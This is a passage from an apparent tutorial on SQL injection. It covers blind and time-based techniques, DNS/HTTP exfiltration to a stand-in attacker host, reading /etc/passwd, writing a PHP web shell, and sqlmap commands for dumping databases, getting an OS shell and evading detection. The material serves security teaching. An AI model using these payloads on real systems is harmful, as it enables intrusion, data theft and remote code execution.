class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Boolean-Based Blind SQL Injection — Inferring Data One Bit at a Time
&lt;/h4&gt;

&lt;p&gt;Blind SQL injection is used when the application is vulnerable to injection but does not return query results or error messages. Instead, the application's behavior changes based on whether an injected condition is true or false — perhaps the page loads normally for true conditions and shows an error page or empty results for false conditions.&lt;/p&gt;

&lt;p&gt;You cannot extract data directly. But you can ask yes/no questions and infer data from the answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The concept:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Original vulnerable query:&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;USER_INPUT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;-- Test: is the first character of the current database name 'a'?&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'a'&lt;/span&gt;

&lt;span class="c1"&gt;-- If the page loads normally: the database name starts with 'a' (true)&lt;/span&gt;
&lt;span class="c1"&gt;-- If the page shows an error or empty: false, try 'b', 'c', etc.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is extraordinarily slow manually — determining even a single character requires up to 26 attempts (or 128 for all ASCII characters). Tools like sqlmap automate this completely, but understanding the manual process is essential for certification exams and for debugging when automated tools behave unexpectedly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Systematic character extraction:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Check database name length:&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;LENGTH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;       &lt;span class="c1"&gt;-- is the database name 6 characters? True/False&lt;/span&gt;

&lt;span class="c1"&gt;-- Check first character:&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;ORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;77&lt;/span&gt;    &lt;span class="c1"&gt;-- is ASCII value &amp;gt; 77? (binary search faster than linear)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;ORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;   &lt;span class="c1"&gt;-- narrow down range&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;ORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;119&lt;/span&gt;   &lt;span class="c1"&gt;-- ASCII 119 = 'w'&lt;/span&gt;

&lt;span class="c1"&gt;-- Check second character:&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;ORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;   &lt;span class="c1"&gt;-- ASCII 101 = 'e'&lt;/span&gt;

&lt;span class="c1"&gt;-- Character by character: 'w' + 'e' + ... = 'webshop'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Binary search reduces the number of requests from 128 per character to about 7. For a 10-character database name: 70 requests instead of 1280.&lt;/p&gt;

&lt;h4&gt;
  
  
  Time-Based Blind SQL Injection — When Nothing Is Visible at All
&lt;/h4&gt;

&lt;p&gt;Time-based injection is used when the application produces identical responses regardless of whether the injected condition is true or false — even error messages are suppressed. The only channel remaining is time.&lt;/p&gt;

&lt;p&gt;By injecting a conditional time delay, the attacker can observe whether a condition is true (delay occurs) or false (no delay). The information is encoded in the response time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- MySQL: Is the first character of the database name 'w'?&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SLEEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- If the response takes 5+ seconds to arrive: the first character is 'w' (true)&lt;/span&gt;
&lt;span class="c1"&gt;-- If the response arrives immediately: false, try next character&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Database-specific sleep functions:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- MySQL / MariaDB&lt;/span&gt;
&lt;span class="n"&gt;SLEEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                        &lt;span class="c1"&gt;-- pause 5 seconds&lt;/span&gt;

&lt;span class="c1"&gt;-- Microsoft SQL Server&lt;/span&gt;
&lt;span class="n"&gt;WAITFOR&lt;/span&gt; &lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="s1"&gt;'0:0:5'&lt;/span&gt;          &lt;span class="c1"&gt;-- pause 5 seconds&lt;/span&gt;

&lt;span class="c1"&gt;-- Oracle&lt;/span&gt;
&lt;span class="n"&gt;dbms_pipe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;receive_message&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- pause 5 seconds (requires privileges)&lt;/span&gt;
&lt;span class="c1"&gt;-- or: execute 'begin DBMS_LOCK.sleep(5); end;'&lt;/span&gt;

&lt;span class="c1"&gt;-- PostgreSQL&lt;/span&gt;
&lt;span class="n"&gt;pg_sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                    &lt;span class="c1"&gt;-- pause 5 seconds&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Time-based injection is the slowest and most unreliable method — network latency affects timing, server load can cause natural delays, and extracting even a single table name requires hundreds of requests. But it is often the only option against hardened applications that suppress all output. This is where sqlmap's time-based blind mode becomes essential.&lt;/p&gt;

&lt;h4&gt;
  
  
  Out-of-Band SQL Injection — Using DNS as a Data Channel
&lt;/h4&gt;

&lt;p&gt;Out-of-band injection uses the database server's ability to make outbound network connections to exfiltrate data. Instead of reading data from the HTTP response, the database server sends data to an attacker-controlled DNS resolver or HTTP server.&lt;/p&gt;

&lt;p&gt;This is particularly useful when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The application does not display query results (like blind)&lt;/li&gt;
&lt;li&gt;Time-based methods are unreliable due to network conditions&lt;/li&gt;
&lt;li&gt;The database server has outbound internet access
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- MySQL: Extract database name via DNS lookup&lt;/span&gt;
&lt;span class="c1"&gt;-- The database name is embedded in a DNS query to attacker's domain&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT LOAD_FILE(CONCAT('&lt;/span&gt;&lt;span class="err"&gt;\\\\&lt;/span&gt;&lt;span class="s1"&gt;', (SELECT database()), '&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;collaborator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="k"&gt;share&lt;/span&gt;&lt;span class="s1"&gt;'))--

-- Microsoft SQL Server: DNS exfiltration
'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="n"&gt;xp_dirtree&lt;/span&gt; &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;DB_NAME&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="s1"&gt;'.attacker-collaborator.com&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;a'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- Oracle: HTTP exfiltration  &lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT UTL_HTTP.request('&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;collaborator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="s1"&gt;'||(SELECT user FROM dual)) FROM dual--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker monitors their DNS server or Burp Suite's Collaborator service for incoming queries. When the DNS query &lt;code&gt;webshop.attacker-collaborator.com&lt;/code&gt; arrives, the subdomain &lt;code&gt;webshop&lt;/code&gt; reveals the database name.&lt;/p&gt;

&lt;h4&gt;
  
  
  Beyond Data Extraction — Reading and Writing Files
&lt;/h4&gt;

&lt;p&gt;Some SQL injection vulnerabilities provide capabilities far beyond data reading. MySQL's &lt;code&gt;LOAD_FILE()&lt;/code&gt; and &lt;code&gt;INTO OUTFILE&lt;/code&gt; functions allow reading and writing the filesystem — when the database user has the required privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Read a file from the server filesystem (requires FILE privilege):&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, LOAD_FILE('&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="s1"&gt;'), NULL--
-- Returns the contents of /etc/passwd if accessible by the MySQL user

-- Write a web shell to the server (requires FILE privilege and write access to web root):
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html/shell.php'&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Creates a PHP web shell at /shell.php&lt;/span&gt;
&lt;span class="c1"&gt;-- Access: http://target.com/shell.php?cmd=id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If successful, file writing via SQL injection results in remote code execution — the most severe possible outcome. Whether this is possible depends on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The MySQL user having &lt;code&gt;FILE&lt;/code&gt; privilege&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;secure_file_priv&lt;/code&gt; variable being configured to allow writes&lt;/li&gt;
&lt;li&gt;The MySQL user having write permission on the web root directory&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Identifying SQL Injection — The Detection Methodology
&lt;/h4&gt;

&lt;p&gt;Before exploiting, you must identify which parameters are injectable. The process is systematic:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Find all input points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every place the application accepts user input is a potential injection point:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL parameters: &lt;code&gt;?category=phones&amp;amp;sort=price&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;POST body parameters: form fields, JSON values, XML elements&lt;/li&gt;
&lt;li&gt;HTTP headers: &lt;code&gt;User-Agent&lt;/code&gt;, &lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;Cookie&lt;/code&gt;, &lt;code&gt;Referer&lt;/code&gt; (less common but real)&lt;/li&gt;
&lt;li&gt;JSON body fields in REST APIs&lt;/li&gt;
&lt;li&gt;GraphQL query parameters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Send detection payloads&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For each input parameter, send payloads that would cause a detectable change if the parameter is used in a SQL query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Single quote — causes SQL syntax error if vulnerable
'

# Double quote — for double-quoted strings  
"

# Comment sequences — truncate query if vulnerable
--
#
/*

# Boolean conditions — change page content if vulnerable
' AND '1'='1       (always true — should return normal results)
' AND '1'='2       (always false — should return empty/different results)

# Numeric comparison (for numeric parameters)
1 AND 1=1          (true)
1 AND 1=2          (false)

# Time-based detection (when no visible difference)
'; SELECT SLEEP(5);--    (MySQL)
'; WAITFOR DELAY '0:0:5'--  (MSSQL)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Observe and compare responses&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three types of evidence indicate SQL injection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Error messages:&lt;/strong&gt; "You have an error in your SQL syntax..." — definitive SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Different responses:&lt;/strong&gt; Normal page for true condition, empty page or error for false condition — boolean blind&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time delays:&lt;/strong&gt; Response takes exactly 5 seconds for SLEEP(5) payload — time-based blind&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Identify the database type&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Different databases have different syntax. Identifying the database type early allows using the correct payloads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Version query varies by database:&lt;/span&gt;
&lt;span class="n"&gt;MySQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;version&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="c1"&gt;-- returns "8.0.33"&lt;/span&gt;
&lt;span class="n"&gt;MSSQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="k"&gt;version&lt;/span&gt;          &lt;span class="c1"&gt;-- returns "Microsoft SQL Server..."&lt;/span&gt;
&lt;span class="n"&gt;Oracle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="k"&gt;version&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;DUAL&lt;/span&gt;
&lt;span class="n"&gt;PostgreSQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;version&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;-- Comment syntax varies:&lt;/span&gt;
&lt;span class="n"&gt;MySQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="c1"&gt;--  or #&lt;/span&gt;
&lt;span class="n"&gt;MSSQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="c1"&gt;--  (space required after --)&lt;/span&gt;
&lt;span class="n"&gt;Oracle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="n"&gt;PostgreSQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  SQLmap — Automated SQL Injection
&lt;/h4&gt;

&lt;p&gt;SQLmap is the standard automated tool for SQL injection detection and exploitation. It implements all SQL injection types, automatically detects the database type, and can extract the entire database with a single command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic test — check if a URL parameter is injectable&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt;

&lt;span class="c"&gt;# Test a specific parameter&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/search?q=phones&amp;amp;category=all"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; q

&lt;span class="c"&gt;# Test a POST request (save request from Burp as a file first)&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-r&lt;/span&gt; burp_request.txt

&lt;span class="c"&gt;# Test POST with specific parameter&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/login"&lt;/span&gt; &lt;span class="nt"&gt;--data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"username=admin&amp;amp;password=test"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; username

&lt;span class="c"&gt;# Include cookie for authenticated testing&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/account?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"session=7f3a9b2c"&lt;/span&gt;

&lt;span class="c"&gt;# Use with Burp proxy (to see sqlmap's requests in Burp)&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:8080

&lt;span class="c"&gt;# Enumerate databases&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate tables in a specific database&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; webshop &lt;span class="nt"&gt;--tables&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate columns in a specific table&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; webshop &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--columns&lt;/span&gt;

&lt;span class="c"&gt;# Dump all data from a table&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; webshop &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;

&lt;span class="c"&gt;# Dump everything (all databases)&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--dump-all&lt;/span&gt;

&lt;span class="c"&gt;# Test for file read/write capabilities&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--file-read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/etc/passwd"&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--file-write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"shell.php"&lt;/span&gt; &lt;span class="nt"&gt;--file-dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/html/shell.php"&lt;/span&gt;

&lt;span class="c"&gt;# Attempt OS shell (if FILE privilege and write access available)&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--os-shell&lt;/span&gt;

&lt;span class="c"&gt;# Stealth options (slower but less detectable)&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="nt"&gt;--risk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2

&lt;span class="c"&gt;# Specify database type for faster exploitation&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://target.com/products?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--dbms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql &lt;span class="nt"&gt;--dbs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SQLmap options explained:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--level&lt;/code&gt; (1-5): Controls how many tests are run. Level 1 tests the most common parameters. Level 5 tests everything including HTTP headers.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--risk&lt;/code&gt; (1-3): Controls how potentially disruptive the tests are. Risk 1 is safe for production. Risk 3 includes UPDATE-based tests that could modify data.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--delay&lt;/code&gt;: Seconds to wait between requests. Reduces speed but avoids rate limiting and IDS detection.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--tamper&lt;/code&gt;: Apply tamper scripts to obfuscate payloads and bypass WAFs. For example &lt;code&gt;--tamper=space2comment&lt;/code&gt; replaces spaces with comments to bypass simple keyword filters.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--technique&lt;/code&gt;: Restrict to specific injection types (B=Boolean, E=Error, U=UNION, S=Stacked, T=Time, Q=Out-of-band).&lt;/p&gt;

&lt;h4&gt;
  
  
  SQL Injection Filter Bypass Techniques
&lt;/h4&gt;

&lt;p&gt;Real applications often have input validation, WAFs, or other defenses. These are bypassable in most cases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
